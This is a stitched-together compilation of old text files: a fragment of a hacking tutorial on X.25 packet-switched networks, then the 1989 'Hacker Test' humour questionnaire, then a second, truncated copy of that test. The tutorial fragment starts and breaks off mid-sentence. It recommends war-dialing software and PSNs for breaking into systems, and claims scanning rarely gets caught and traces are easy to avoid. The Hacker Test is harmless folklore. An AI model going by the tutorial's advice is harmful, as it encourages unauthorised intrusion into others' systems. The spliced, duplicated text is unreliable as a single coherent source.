                        (ToneLoc being superior to all in my humble 
opinion),
                        which will automate this process.

    - PACKET-SWITCHED : This is my favorite by far, as hacking on PSNs is 
how
      NETWORKS          I learned nearly all I know. I've explored PSNs
                        world-wide, and never ran out of systems to hack.
                        No matter what PSN you try you will find many
                        different, hackable systems. I will go more indepth
                        on PSNs in the next section.

PACKET-SWITCHED NETWORKS
========================
------------------------

Intro to PSNs
=============

    First off, PSNs are also known as PSDNs, PSDCNs, PSSs and VANs to name
a few. Look up the acronyms in the handy acronym reference chart<g>.
    The X.25 PSNs you will hear about the most are; Sprintnet(formerly
Telenet), BT Tymnet(the largest), and Datapac(Canada's largest).
    All these networks have advantages and disadvantages, but i'll say this;
if you are in the United States, start with Sprintnet. If you are in Canada,
Datapac is for you.
    The reason PSNs are so popular for hackers are many. There are literally
thousands of systems on PSNs all around the world, all of which(if you have
the right facilities) are free of charge for you to reach. And because of 
the
immense size of public PSNs, it is a rare thing to ever get caught for
scanning. Tracing is also a complicated matter, especially with a small
amount of effort on your part to avoid a trace.

How packet-switching works
==========================

    The following explanation applies for the most part to all forms of
packet-switching, but is specifically about PSNs operating on the X series 
of
protocols, such as Datapac & SprintNet, as opposed to the Internet which
operates on TCP/IP. It is the same principle in essense, however.
    Packet-Switched Networks are kinda complicated, but I'll attempt to
simplify the technology enough to make it easy to understand.
    You, the user, connect to the local public access port for your PSN,
reachable via a phone dialup. You match communications parameters with the
network host and you are ready to go.
    From there, all the data you send across the network is first bundled 
into
packets, usually of 128 or 256 bytes. These packets are assembled using
Packet Assembly/Disassembly, performed by the public access port, also known
as a public PAD(Packet Assembler/Disassembler), or a DCE(Data Communicating
Equipment or Data Circuit-Terminating Equipment).
    The packets are sent along the network to their destination by means of
the various X protocol

The Hacker Test, Version 1.0 (June 16, 1989) by Felix Lee, John Hayes and Angela Thomas

TITLE: THE HACKER TEST - Version 1.0  (LONG)

 Preface:  06.16.89

 This test was conceived and written by Felix Lee, John Hayes and Angela
 Thomas at the end of the spring semester, 1989.  It has gone through
 many revisions prior to this initial release, and will undoubtedly go
 through many more.

 (Herewith a compendium of fact and folklore about computer hackerdom,
  cunningly disguised as a test.)

 Scoring - Count 1 for each item that you have done, or each
           question that you can answer correctly.

 If you score is between:                    You are

            0x000 and 0x010       ->         Computer Illiterate
            0x011 and 0x040       ->         a User
            0x041 and 0x080       ->         an Operator
            0x081 and 0x0C0       ->         a Nerd
            0x0C1 and 0x100       ->         a Hacker
            0x101 and 0x180       ->         a Guru
            0x181 and 0x200       ->         a Wizard

 Note: If you don't understand the scoring, stop here.

 And now for the questions...

 0001 Have you ever used a computer?
 0002 ... for more than 4 hours continuously?
 0003 ... more than 8 hours?
 0004 ... more than 16 hours?
 0005 ... more than 32 hours?

 0006 Have you ever patched paper tape?

 0007 Have you ever missed a class while programming?
 0008 ... Missed an examination?
 0009 ... Missed a wedding?
 0010 ... Missed your own wedding?

 0011 Have you ever programmed while intoxicated?
 0012 ... Did it make sense the next day?

 0013 Have you ever written a flight simulator?

 0014 Have you ever voided the warranty on your equipment?

 0015 Ever change the value of 4?
 0016 ... Unintentionally?
 0017 ... In a language other than Fortran?

 0018 Do you use DWIM to make life interesting?

 0019 Have you named a computer?

 0020 Do you complain when a "feature" you use gets fixed?

 0021 Do you eat slime-molds?

 0022 Do you know how many days old you are?

 0023 Have you ever wanted to download pizza?

 0024 Have you ever invented a computer joke?
 0025 ... Did someone not 'get' it?

 0026 Can you recite Jabberwocky?
 0027 ... Backwards?

 0028 Have you seen "Donald Duck in Mathemagic Land"?

 0029 Have you seen "Tron"?

 0030 Have you seen "Wargames"?

 0031 Do you know what ASCII stands for?
 0032 ... EBCDIC?

 0033 Can you read and write ASCII in hex or octal?
 0034 Do you know the names of all the ASCII control codes?

 0035 Can you read and write EBCDIC in hex?

 0036 Can you convert from EBCDIC to ASCII and vice versa?

 0037 Do you know what characters are the same in both ASCII and EBCDIC?

 0038 Do you know maxint on your system?

 0039 Ever define your own numerical type to get better precision?

 0040 Can you name powers of two up to 2**16 in arbitrary order?
 0041 ... up to 2**32?
 0042 ... up to 2**64?

 0043 Can you read a punched card, looking at the holes?
 0044 ... feeling the holes?

 0045 Have you ever patched binary code?
 0046 ... While the program was running?

 0047 Have you ever used program overlays?

 0048 Have you met any IBM vice-president?
 0049 Do you know Dennis, Bill, or Ken?

 0050 Have you ever taken a picture of a CRT?
 0051 Have you ever played a videotape on your CRT?

 0052 Have you ever digitized a picture?

 0053 Did you ever forget to mount a scratch monkey?

 0054 Have you ever optimized an idle loop?

 0055 Did you ever optimize a bubble sort?

 0056 Does your terminal/computer talk to you?

 0057 Have you ever talked into an acoustic modem?
 0058 ... Did it answer?

 0059 Can you whistle 300 baud?
 0060 ... 1200 baud?

 0061 Can you whistle a telephone number?

 0062 Have you witnessed a disk crash?
 0063 Have you made a disk drive "walk"?

 0064 Can you build a puffer train?
 0065 ... Do you know what it is?

 0066 Can you play music on your line printer?
 0067 ... Your disk drive?
 0068 ... Your tape drive?

 0069 Do you have a Snoopy calendar?
 0070 ... Is it out-of-date?

 0071 Do you have a line printer picture of...
 0072 ... the Mona Lisa?
 0073 ... the Enterprise?
 0074 ... Einstein?
 0075 ... Oliver?
 0076 Have you ever made a line printer picture?

 0077 Do you know what the following stand for?
 0078 ... DASD
 0079 ... Emacs
 0080 ... ITS
 0081 ... RSTS/E
 0082 ... SNA
 0083 ... Spool
 0084 ... TCP/IP

      Have you ever used
 0085 ... TPU?
 0086 ... TECO?
 0087 ... Emacs?
 0088 ... ed?
 0089 ... vi?
 0090 ... Xedit (in VM/CMS)?
 0091 ... SOS?
 0092 ... EDT?
 0093 ... Wordstar?

 0094 Have you ever written a CLIST?

      Have you ever programmed in
 0095 ... the X windowing system?
 0096 ... CICS?

 0097 Have you ever received a Fax or a photocopy of a floppy?

 0098 Have you ever shown a novice the "any" key?
 0099 ... Was it the power switch?

      Have you ever attended
 0100 ... Usenix?
 0101 ... DECUS?
 0102 ... SHARE?
 0103 ... SIGGRAPH?
 0104 ... NetCon?

 0105 Have you ever participated in a standards group?

 0106 Have you ever debugged machine code over the telephone?

 0107 Have you ever seen voice mail?
 0108 ... Can you read it?

 0109 Do you solve word puzzles with an on-line dictionary?

 0110 Have you ever taken a Turing test?
 0111 ... Did you fail?

 0112 Ever drop a card deck?
 0113 ... Did you successfully put it back together?
 0114 ... Without looking?

 0115 Have you ever used IPCS?

 0116 Have you ever received a case of beer with your computer?

 0117 Does your computer come in 'designer' colors?

 0118 Ever interrupted a UPS?

 0119 Ever mask an NMI?

 0120 Have you ever set off a Halon system?
 0121 ... Intentionally?
 0122 ... Do you still work there?

 0123 Have you ever hit the emergency power switch?
 0124 ... Intentionally?

 0125 Do you have any defunct documentation?
 0126 ... Do you still read it?

 0127 Ever reverse-engineer or decompile a program?
 0128 ... Did you find bugs in it?

 0129 Ever help the person behind the counter with their terminal/computer?

 0130 Ever tried rack mounting your telephone?

 0131 Ever thrown a computer from more than two stories high?

 0132 Ever patched a bug the vendor does not acknowledge?

 0133 Ever fix a hardware problem in software?
 0134 ... Vice versa?

 0135 Ever belong to a user/support group?

 0136 Ever been mentioned in Computer Recreations?

 0137 Ever had your activities mentioned in the newspaper?
 0138 ... Did you get away with it?

 0139 Ever engage a drum brake while the drum was spinning?

 0140 Ever write comments in a non-native language?

 0141 Ever physically destroy equipment from software?

 0142 Ever tried to improve your score on the Hacker Test?

 0143 Do you take listings with you to lunch?
 0144 ... To bed?

 0145 Ever patch a microcode bug?
 0146 ... around a microcode bug?

 0147 Can you program a Turing machine?

 0148 Can you convert postfix to prefix in your head?

 0149 Can you convert hex to octal in your head?

 0150 Do you know how to use a Kleene star?

 0151 Have you ever starved while dining with philosophers?

 0152 Have you solved the halting problem?
 0153 ... Correctly?

 0154 Ever deadlock trying eating spaghetti?

 0155 Ever written a self-reproducing program?

 0156 Ever swapped out the swapper?

 0157 Can you read a state diagram?
 0158 ... Do you need one?

 0159 Ever create an unkillable program?
 0160 ... Intentionally?

 0161 Ever been asked for a cookie?

 0162 Ever speed up a system by removing a jumper?

      * Do you know...

 0163 Do you know who wrote Rogue?
 0164 ... Rogomatic?

 0165 Do you know Gray code?

 0166 Do you know what HCF means?
 0167 ... Ever use it?
 0168 ... Intentionally?

 0169 Do you know what a lace card is?
 0170 ... Ever make one?

 0171 Do you know the end of the epoch?
 0172 ... Have you celebrated the end of an epoch?
 0173 ... Did you have to rewrite code?

 0174 Do you know the difference between DTE and DCE?

 0175 Do you know the RS-232C pinout?
 0176 ... Can you wire a connector without looking?

      * Do you have...

 0177 Do you have a copy of Dec Wars?
 0178 Do you have the Canonical Collection of Lightbulb Jokes?
 0179 Do you have a copy of the Hacker's dictionary?
 0180 ... Did you contribute to it?

 0181 Do you have a flowchart template?
 0182 ... Is it unused?

 0183 Do you have your own fortune-cookie file?

 0184 Do you have the Anarchist's Cookbook?
 0185 ... Ever make anything from it?

 0186 Do you own a modem?
 0187 ... a terminal?
 0188 ... a toy computer?
 0189 ... a personal computer?
 0190 ... a minicomputer?
 0191 ... a mainframe?
 0192 ... a supercomputer?
 0193 ... a hypercube?
 0194 ... a printer?
 0195 ... a laser printer?
 0196 ... a tape drive?
 0197 ... an outmoded peripheral device?

 0198 Do you have a programmable calculator?
 0199 ... Is it RPN?

 0200 Have you ever owned more than 1 computer?
 0201 ... 4 computers?
 0202 ... 16 computers?

 0203 Do you have a SLIP line?
 0204 ... a T1 line?

 0205 Do you have a separate phone line for your terminal/computer?
 0206 ... Is it legal?

 0207 Do you have core memory?
 0208 ... drum storage?
 0209 ... bubble memory?

 0210 Do you use more than 16 megabytes of disk space?
 0211 ... 256 megabytes?
 0212 ... 1 gigabyte?
 0213 ... 16 gigabytes?
 0214 ... 256 gigabytes?
 0215 ... 1 terabyte?

 0216 Do you have an optical disk/disk drive?

 0217 Do you have a personal magnetic tape library?
 0218 ... Is it unlabelled?

 0219 Do you own more than 16 floppy disks?
 0220 ... 64 floppy disks?
 0221 ... 256 floppy disks?
 0222 ... 1024 floppy disks?

 0223 Do you have any 8-inch disks?

 0224 Do you have an internal stack?

 0225 Do you have a clock interrupt?

 0226 Do you own volumes 1 to 3 of _The Art of Computer Programming_?
 0227 ... Have you done all the exercises?
 0228 ... Do you have a MIX simulator?
 0229 ... Can you name the unwritten volumes?

 0230 Can you quote from _The Mythical Man-month_?
 0231 ... Did you participate in the OS/360 project?

 0232 Do you have a TTL handbook?

 0233 Do you have printouts more than three years old?

      * Career

 0234 Do you have a job?
 0235 ... Have you ever had a job?
 0236 ... Was it computer-related?

 0237 Do you work irregular hours?

 0238 Have you ever been a system administrator?

 0239 Do you have more megabytes than megabucks?

 0240 Have you ever downgraded your job to upgrade your processing power?

 0241 Is your job secure?
 0242 ... Do you have code to prove it?

 0243 Have you ever had a security clearance?

      * Games

 0244 Have you ever played Pong?

      Have you ever played
 0246 ... Spacewar?
 0247 ... Star Trek?
 0248 ... Wumpus?
 0249 ... Lunar Lander?
 0250 ... Empire?

      Have you ever beaten
 0251 ... Moria 4.8?
 0252 ... Rogue 3.6?
 0253 ... Rogue 5.3?
 0254 ... Larn?
 0255 ... Hack 1.0.3?
 0256 ... Nethack 2.4?

 0257 Can you get a better score on Rogue than Rogomatic?

 0258 Have you ever solved Adventure?
 0259 ... Zork?

 0260 Have you ever written any redcode?

 0261 Have you ever written an adventure program?
 0262 ... a real-time game?
 0263 ... a multi-player game?
 0264 ... a networked game?

 0265 Can you out-doctor Eliza?

      * Hardware

 0266 Have you ever used a light pen?
 0267 ... did you build it?

      Have you ever used
 0268 ... a teletype?
 0269 ... a paper tape?
 0270 ... a decwriter?
 0271 ... a card reader/punch?
 0272 ... a SOL?

      Have you ever built
 0273 ... an Altair?
 0274 ... a Heath/Zenith computer?

      Do you know how to use
 0275 ... an oscilliscope?
 0276 ... a voltmeter?
 0277 ... a frequency counter?
 0278 ... a logic probe?
 0279 ... a wirewrap tool?
 0280 ... a soldering iron?
 0281 ... a logic analyzer?

 0282 Have you ever designed an LSI chip?
 0283 ... has it been fabricated?

 0284 Have you ever etched a printed circuit board?

      * Historical

 0285 Have you ever toggled in boot code on the front panel?
 0286 ... from memory?

 0287 Can you program an Eniac?

 0288 Ever seen a 90 column card?

      * IBM

 0289 Do you recite IBM part numbers in your sleep?
 0290 Do you know what IBM part number 7320154 is?

 0291 Do you understand 3270 data streams?

 0292 Do you know what the VM privilege classes are?

 0293 Have you IPLed an IBM off the tape drive?
 0294 ... off a card reader?

 0295 Can you sing something from the IBM Songbook?

      * Languages

 0296 Do you know more than 4 programming languages?
 0297 ... 8 languages?
 0298 ... 16 languages?
 0299 ... 32 languages?

 0300 Have you ever designed a programming language?

 0301 Do you know what Basic stands for?
 0302 ... Pascal?

 0303 Can you program in Basic?
 0304 ... Do you admit it?

 0305 Can you program in Cobol?
 0306 ... Do you deny it?

 0307 Do you know Pascal?
 0308 ... Modula-2?
 0309 ... Oberon?
 0310 ... More than two Wirth languages?
 0311 ... Can you recite a Nicklaus Wirth joke?

 0312 Do you know Algol-60?
 0313 ... Algol-W?
 0314 ... Algol-68?
 0315 ... Do you understand the Algol-68 report?
 0316 ... Do you like two-level grammars?

 0317 Can you program in assembler on 2 different machines?
 0318 ... on 4 different machines?
 0319 ... on 8 different machines?

      Do you know
 0320 ... APL?
 0321 ... Ada?
 0322 ... BCPL?
 0323 ... C++?
 0324 ... C?
 0325 ... Comal?
 0326 ... Eiffel?
 0327 ... Forth?
 0328 ... Fortran?
 0329 ... Hypertalk?
 0330 ... Icon?
 0331 ... Lisp?
 0332 ... Logo?
 0333 ... MIIS?
 0334 ... MUMPS?
 0335 ... PL/I?
 0336 ... Pilot?
 0337 ... Plato?
 0338 ... Prolog?
 0339 ... RPG?
 0340 ... Rexx (or ARexx)?
 0341 ... SETL?
 0342 ... Smalltalk?
 0343 ... Snobol?
 0344 ... VHDL?
 0345 ... any assembly language?

 0346 Can you talk VT-100?
 0347 ... Postscript?
 0348 ... SMTP?
 0349 ... UUCP?
 0350 ... English?

      * Micros

 0351 Ever copy a copy-protected disk?
 0352 Ever create a copy-protection scheme?

 0353 Have you ever made a "flippy" disk?

 0354 Have you ever recovered data from a damaged disk?

 0355 Ever boot a naked floppy?

      * Networking

 0356 Have you ever been logged in to two different timezones at once?

 0357 Have you memorized the UUCP map for your country?
 0358 ... For any country?

 0359 Have you ever found a sendmail bug?
 0360 ... Was it a security hole?

 0361 Have you memorized the HOSTS.TXT table?
 0362 ... Are you up to date?

 0363 Can you name all the top-level nameservers and their addresses?

 0364 Do you know RFC-822 by heart?
 0365 ... Can you recite all the errors in it?

 0366 Have you written a Sendmail configuration file?
 0367 ... Does it work?
 0368 ... Do you mumble "defocus" in your sleep?

 0369 Do you know the max packet lifetime?

      * Operating systems

      Can you use
 0370 ... BSD Unix?
 0371 ... non-BSD Unix?
 0372 ... AIX
 0373 ... VM/CMS?
 0374 ... VMS?
 0375 ... MVS?
 0376 ... VSE?
 0377 ... RSTS/E?
 0378 ... CP/M?
 0379 ... COS?
 0380 ... NOS?
 0381 ... CP-67?
 0382 ... RT-11?
 0383 ... MS-DOS?
 0384 ... Finder?
 0385 ... PRODOS?
 0386 ... more than one OS for the TRS-80?
 0387 ... Tops-10?
 0388 ... Tops-20?
 0389 ... OS-9?
 0390 ... OS/2?
 0391 ... AOS/VS?
 0392 ... Multics?
 0393 ... ITS?
 0394 ... Vulcan?

 0395 Have you ever paged or swapped off a tape drive?
 0396 ... Off a card reader/punch?
 0397 ... Off a teletype?
 0398 ... Off a networked (non-local) disk?

 0399 Have you ever found an operating system bug?
 0400 ... Did you exploit it?
 0401 ... Did you report it?
 0402 ... Was your report ignored?

 0403 Have you ever crashed a machine?
 0404 ... Intentionally?

      * People

 0405 Do you know any people?
 0406 ... more than one?
 0407 ... more than two?

      * Personal

 0408 Are your shoelaces untied?

 0409 Do you interface well with strangers?

 0410 Are you able to recite phone numbers for half-a-dozen computer systems
         but unable to recite your own?

 0411 Do you log in before breakfast?

 0412 Do you consume more than LD-50 caffeine a day?

 0413 Do you answer either-or questions with "yes"?

 0414 Do you own an up-to-date copy of any operating system manual?
 0415 ... *every* operating system manual?

 0416 Do other people have difficulty using your customized environment?

 0417 Do you dream in any programming languages?

 0418 Do you have difficulty focusing on three-dimensional objects?

 0419 Do you ignore mice?

 0420 Do you despise the CAPS LOCK key?

 0421 Do you believe menus belong in restaurants?

 0422 Do you have a Mandelbrot hanging on your wall?

 0423 Have you ever decorated with magnetic tape or punched cards?
 0424 Do you have a disk platter or a naked floppy hanging in your home?

 0425 Have you ever seen the dawn?
 0426 ... Twice in a row?

 0427 Do you use "foobar" in daily conversation?
 0428 ... "bletch"?

 0429 Do you use the "P convention"?

 0430 Do you automatically respond to any user question with RTFM?
 0431 ... Do you know what it means?

 0432 Do you think garbage collection means memory management?

 0433 Do you have problems allocating horizontal space in your room/office?

 0434 Do you read Scientific American in bars to pick up women?

 0435 Is your license plate computer-related?

 0436 Have you ever taken the Purity test?

 0437 Ever have an out-of-CPU experience?

 0438 Have you ever set up a blind date over the computer?

 0439 Do you talk to the person next to you via computer?

      * Programming

 0440 Can you write a Fortran compiler?
 0441 ... In TECO?

 0442 Can you read a machine dump?
 0443 Can you disassemble code in your head?

      Have you ever written
 0444 ... a compiler?
 0445 ... an operating system?
 0446 ... a device driver?
 0447 ... a text processor?
 0448 ... a display hack?
 0449 ... a database system?
 0450 ... an expert system?
 0451 ... an edge detector?
 0452 ... a real-time control system?
 0453 ... an accounting package?
 0454 ... a virus?
 0455 ... a prophylactic?

 0456 Have you ever written a biorhythm program?
 0457 ... Did you sell the output?
 0458 ... Was the output arbitrarily invented?

 0459 Have you ever computed pi to more than a thousand decimal places?
 0460 ... the number e?

 0461 Ever find a prime number of more than a hundred digits?

 0462 Have you ever written self-modifying code?
 0463 ... Are you proud of it?

 0464 Did you ever write a program that ran correctly the first time?
 0465 ... Was it longer than 20 lines?
 0466 ... 100 lines?
 0467 ... Was it in assembly language?
 0468 ... Did it work the second time?

 0469 Can you solve the Towers of Hanoi recursively?
 0470 ... Non-recursively?
 0471 ... Using the Troff text formatter?

 0472 Ever submit an entry to the Obfuscated C code contest?
 0473 ... Did it win?
 0474 ... Did your entry inspire a new rule?

 0475 Do you know Duff's device?

 0476 Do you know Jensen's device?

 0477 Ever spend ten minutes trying to find a single-character error?
 0478 ... More than an hour?
 0479 ... More than a day?
 0480 ... More than a week?
 0481 ... Did the first person you show it to find it immediately?

      * Unix

 0482 Can you use Berkeley Unix?
 0483 .. Non-Berkeley Unix?

 0484 Can you distinguish between sections 4 and 5 of the Unix manual?

 0485 Can you find TERMIO in the System V release 2 documentation?

 0486 Have you ever mounted a tape as a Unix file system?

 0487 Have you ever built Minix?

 0488 Can you answer "quiz function ed-command" correctly?
 0489 ... How about "quiz ed-command function"?

      * Usenet

 0490 Do you read news?
 0491 ... More than 32 newsgroups?
 0492 ... More than 256 newsgroups?
 0493 ... All the newsgroups?

 0494 Have you ever posted an article?
 0495 ... Do you post regularly?

 0496 Have you ever posted a flame?
 0497 ... Ever flame a cross-posting?
 0498 ... Ever flame a flame?
 0499 ... Do you flame regularly?

 0500 Ever have your program posted to a source newsgroup?

 0501 Ever forge a posting?
 0502 Ever form a new newsgroup?
 0503 ... Does it still exist?

 0504 Do you remember
 0505 ... mod.ber?
 0506 ... the Stupid People's Court?
 0507 ... Bandy-grams?

      * Phreaking

 0508 Have you ever built a black box?

 0509 Can you name all of the 'colors' of boxes?
 0510 ... and their associated functions?

 0511 Does your touch tone phone have 16 DTMF buttons on it?

 0512 Did the breakup of MaBell create more opportunities for you?

 If you have any comments of suggestions regarding the HACKER TEST,
 Please send then to: hayes@psunuce.bitnet
                   or jwh100@psuvm.bitnet / jwh100@psuvmxa.bitnet
                   or jwh100@psuvm.psu.edu / jwh100@psuvmxa.psu.edu
                   or ...!psuvax1!psuvm.bitnet!jwh100

The Hacker’s Purity Test, June 16, 1989

Preface:  06.16.89

 This test was conceived and written by Felix Lee, John Hayes and Angela
 Thomas at the end of the spring semester, 1989.  It has gone through
 many revisions prior to this initial release, and will undoubtedly go
 through many more.

 (Herewith a compendium of fact and folklore about computer hackerdom,
  cunningly disguised as a test.)

 Scoring - Count 1 for each item that you have done, or each
           question that you can answer correctly.

 If you score is between:                    You are

            0x000 and 0x010       ->         Computer Illiterate
            0x011 and 0x040       ->         a User
            0x041 and 0x080       ->         an Operator
            0x081 and 0x0C0       ->         a Nerd
            0x0C1 and 0x100       ->         a Hacker
            0x101 and 0x180       ->         a Guru
            0x181 and 0x200       ->         a Wizard

 Note: If you don't understand the scoring, stop here.

 And now for the questions...

 0001 Have you ever used a computer?
 0002 ... for more than 4 hours continuously?
 0003 ... more than 8 hours?
 0004 ... more than 16 hours?
 0005 ... more than 32 hours?

 0006 Have you ever patched paper tape?

 0007 Have you ever missed a class while programming?
 0008 ... Missed an examination?
 0009 ... Missed a wedding?
 0010 ... Missed your own wedding?

 0011 Have you ever programmed while intoxicated?
 0012 ... Did it make sense the next day?

 0013 Have you ever written a flight simulator?

 0014 Have you ever voided the warranty on your equipment?

 0015 Ever change the value of 4?
 0016 ... Unintentionally?
 0017 ... In a language other than Fortran?

 0018 Do you use DWIM to make life interesting?

 0019 Have you named a computer?

 0020 Do you complain when a "feature" you use gets fixed?

 0021 Do you eat slime-molds?

 0022 Do you know how many days old you are?

 0023 Have you ever wanted to download pizza?

 0024 Have you ever invented a computer joke?
 0025 ... Did someone not 'get' it?

 0026 Can you recite Jabberwocky?
 0027 ... Backwards?

 0028 Have you seen "Donald Duck in Mathemagic Land"?

 0029 Have you seen "Tron"?

 0030 Have you seen "Wargames"?

 0031 Do you know what ASCII stands for?
 0032 ... EBCDIC?

 0033 Can you read and write ASCII in hex or octal?
 0034 Do you know the names of all the ASCII control codes?

 0035 Can you read and write EBCDIC in hex?

 0036 Can you convert from EBCDIC to ASCII and vice versa?

 0037 Do you know what characters are the same in both ASCII and EBCDIC?

 0038 Do you know maxint on your system?

 0039 Ever define your own numerical type to get better precision?

 0040 Can you name powers of two up to 2**16 in arbitrary order?
 0041 ... up to 2**32?
 0042 ... up to 2**64?

 0043 Can you read a punched card, looking at the holes?
 0044 ... feeling the holes?

 0045 Have you ever patched binary code?
 0046 ... While the program was running?

 0047 Have you ever used program overlays?

 0048 Have you met any IBM vice-president?
 0049 Do you know Dennis, Bill, or Ken?

 0050 Have you ever taken a picture of a CRT?
 0051 Have you ever played a videotape on your CRT?

 0052 Have you ever digitized a picture?

 0053 Did you ever forget to mount a scratch monkey?

 0054 Have you ever optimized an idle loop?

 0055 Did you ever optimize a bubble sort?

 0056 Does your terminal/computer talk to you?

 0057 Have you ever talked into an acoustic modem?
 0058 ... Did it answer?

 0059 Can you whistle 300 baud?
 0060 ... 1200 baud?

 0061 Can you whistle a telephone number?

 0062 Have you witnessed a disk crash?
 0063 Have you made a disk drive "walk"?

 0064 Can you build a puffer train?
 0065 ... Do you know what it is?

 0066 Can you play music on your line printer?
 0067 ... Your disk drive?
 0068 ... Your tape drive?

 0069 Do you have a Snoopy calendar?
 0070 ... Is it out-of-date?

 0071 Do you have a line printer picture of...
 0072 ... the Mona Lisa?
 0073 ... the Enterprise?
 0074 ... Einstein?
 0075 ... Oliver?
 0076 Have you ever made a line printer picture?

 0077 Do you know what the following stand for?
 0078 ... DASD
 0079 ... Emacs
 0080 ... ITS
 0081 ... RSTS/E
 0082 ... SNA
 0083 ... Spool
 0084 ... TCP/IP

      Have you ever used
 0085 ... TPU?
 0086 ... TECO?
 0087 ... Emacs?
 0088 ... ed?
 0089 ... vi?
 0090 ... Xedit (in VM/CMS)?
 0091 ... SOS?
 0092 ... EDT?
 0093 ... Wordstar?

 0094 Have you ever written a CLIST?

      Have you ever programmed in
 0095 ... the X windowing system?
 0096 ... CICS?

 0097 Have you ever received a Fax or a photocopy of a floppy?

 0098 Have you ever shown a novice the "any" key?
 0099 ... Was it the power switch?

      Have you ever attended
 0100 ... Usenix?
 0101 ... DECUS?
 0102 ... SHARE?
 0103 ... SIGGRAPH?
 0104 ... NetCon?

 0105 Have you ever participated in a standards group?

 0106 Have you ever debugged machine code over the telephone?

 0107 Have you ever seen voice mail?
 0108 ... Can you read it?

 0109 Do you solve word puzzles with an on-line dictionary?

 0110 Have you ever taken a Turing test?
 0111 ... Did you fail?

 0112 Ever drop a card deck?
 0113 ... Did you successfully put it back together?
 0114 ... Without looking?

 0115 Have you ever used IPCS?

 0116 Have you ever received a case of beer with your computer?

 0117 Does your computer come in 'designer' colors?

 0118 Ever interrupted a UPS?

 0119 Ever mask an NMI?

 0120 Have you ever set off a Halon system?
 0121 ... Intentionally?
 0122 ... Do you still work there?

 0123 Have you ever hit the emergency power switch?
 0124 ... Intentionally?

 0125 Do you have any defunct documentation?
 0126 ... Do you still read it?

 0127 Ever reverse-engineer or decompile a program?
 0128 ... Did you find bugs in it?

 0129 Ever help the person behind the counter with their terminal/computer?

 0130 Ever tried rack mounting your telephone?

 0131 Ever thrown a computer from more than two stories high?

 0132 Ever patched a bug the vendor does not acknowledge?

 0133 Ever fix a hardware problem in software?
 0134 ... Vice versa?

 0135 Ever belong to a user/support group?

 0136 Ever been mentioned in Computer Recreations?

 0137 Ever had your activities mentioned in the newspaper?
 0138 ... Did you get away with it?

 0139 Ever engage a drum brake while the drum was spinning?

 0140 Ever write comments in a non-native language?

 0141 Ever physically destroy equipment from software?

 0142 Ever tried to improve your score on the Hacker Test?

 0143 Do you take listings with you to lunch?
 0144 ... To bed?

 0145 Ever patch a microcode bug?
 0146 ... around a microcode bug?

 0147 Can you program a Turing machine?

 0148 Can you convert postfix to prefix in your head?

 0149 Can you convert hex to octal in your head?

 0150 Do you know how to use a Kleene star?

 0151 Have you ever starved while dining with philosophers?

 0152 Have you solved the halting problem?
 0153 ... Correctly?

 0154 Ever deadlock trying eating spaghetti?

 0155 Ever written a self-reproducing program?

 0156 Ever swapped out the swapper?

 0157 Can you read a state diagram?
 0158 ... Do you need one?

 0159 Ever create an unkillable program?
 0160 ... Intentionally?

 0161 Ever been asked for a cookie?

 0162 Ever speed up a system by removing a jumper?

      * Do you know...

 0163 Do you know who wrote Rogue?
 0164 ... Rogomatic?

 0165 Do you know Gray code?

 0166 Do you know what HCF means?
 0167 ... Ever use it?
 0168 ... Intentionally?

 0169 Do you know what a lace card is?
 0170 ... Ever make one?

 0171 Do you know the end of the epoch?
 0172 ... Have you celebrated the end of an epoch?
 0173 ... Did you have to rewrite code?

 0174 Do you know the difference between DTE and DCE?

 0175 Do you know the RS-232C pinout?
 0176 ... Can you wire a connector without looking?

      * Do you have...

 0177 Do you have a copy of Dec Wars?
 0178 Do you have the Canonical Collection of Lightbulb Jokes?
 0179 Do you have a copy of the Hacker's dictionary?
 0180 ... Did you contribute to it?

 0181 Do you have a flowchart template?
 0182 ... Is it unused?

 0183 Do you have your own fortune-cookie file?

 0184 Do you have the Anarchist's Cookbook?
 0185 ... Ever make anything from it?

 0186 Do you own a modem?
 0187 ... a terminal?
 0188 ... a toy computer?
 0189 ... a personal computer?
 0190 ... a minicomputer?
 0191 ... a mainframe?
 0192 ... a supercomputer?
 0193 ... a hypercube?
 0194 ... a printer?
 0195 ... a laser printer?
 0196 ... a tape drive?
 0197 ... an outmoded peripheral device?

 0198 Do you have a programmable calculator?
 0199 ... Is it RPN?

 0200 Have you ever owned more than 1 computer?
 0201 ... 4 computers?
 0202 ... 16 computers?

 0203 Do you have a SLIP line?
 0204 ... a T1 line?

 0205 Do you have a separate phone line for your terminal/computer?
 0206 ... Is it legal?

 0207 Do you have core memory?
 0208 ... drum storage?
 0209 ... bubble memory?

 0210 Do you use more than 16 megabytes of disk space?
 0211 ... 256 megabytes?
 0212 ... 1 gigabyte?
 0213 ... 16 gigabytes?
 0214 ... 256 gigabytes?
 0215 ... 1 terabyte?

 0216 Do you have an optical disk/disk drive?

 0217 Do you have a personal magnetic tape library?
 0218 ... Is it unlabelled?

 0219 Do you own more than 16 floppy disks?
 0220 ... 64 floppy disks?
 0221 ... 256 floppy disks?
 0222 ... 1024 floppy disks?

 0223 Do you have any 8-inch disks?

 0224 Do you have an internal stack?

 0225 Do you have a clock interrupt?

 0226 Do you own volumes 1 to 3 of _The Art of Computer Programming_?
 0227 ... Have you done all the exercises?
 0228 ... Do you have a MIX simulator?
 0229 ... Can you name the unwritten volumes?

 0230 Can you quote from _The Mythical Man-month_?
 0231 ... Did you participate in the OS/360 project?

 0232 Do you have a TTL handbook?

 0233 Do you have printouts more than three years old?

      * Career

 0234 Do you have a job?
 0235 ... Have you ever had a job?
 0236 ... Was it computer-related?

 0237 Do you work irregular hours?

 0238 Have you ever been a system administrator?

 0239 Do you have more megabytes than megabucks?

 0240 Have you ever downgraded your job to upgrade your processing power?

 0241 Is your job secure?
 0242 ... Do you have code to prove it?

 0243 Have you ever had a security clearance?

      * Games

 0244 Have you ever played Pong?

      Have you ever played
 0246 ... Spacewar?
 0247 ... Star Trek?
 0248 ... Wumpus?
 0249 ... Lunar Lander?
 0250 ... Empire?

      Have you ever beaten
 0251 ... Moria 4.8?
 0252 ... Rogue 3.6?
 0253 ... Rogue 5.3?
 0254 ... Larn?
 0255 ... Hack 1.0.3?
 0256 ... Nethack 2.4?

 0257 Can you get a better score on Rogue than Rogomatic?

 0258 Have you ever solved Adventure?
 0259 ... Zork?

 0260 Have you ever written any redcode?

 0261 Have you ever written an adventure program?
 0262 ... a real-time game?
 0263 ... a multi-player game?
 0264 ... a networked game?

 0265 Can you out-doctor Eliza?

      * Hardware

 0266 Have you ever used a light pen?
 0267 ... did you build it?

      Have you ever used
 0268 ... a teletype?
 0269 ... a paper tape?
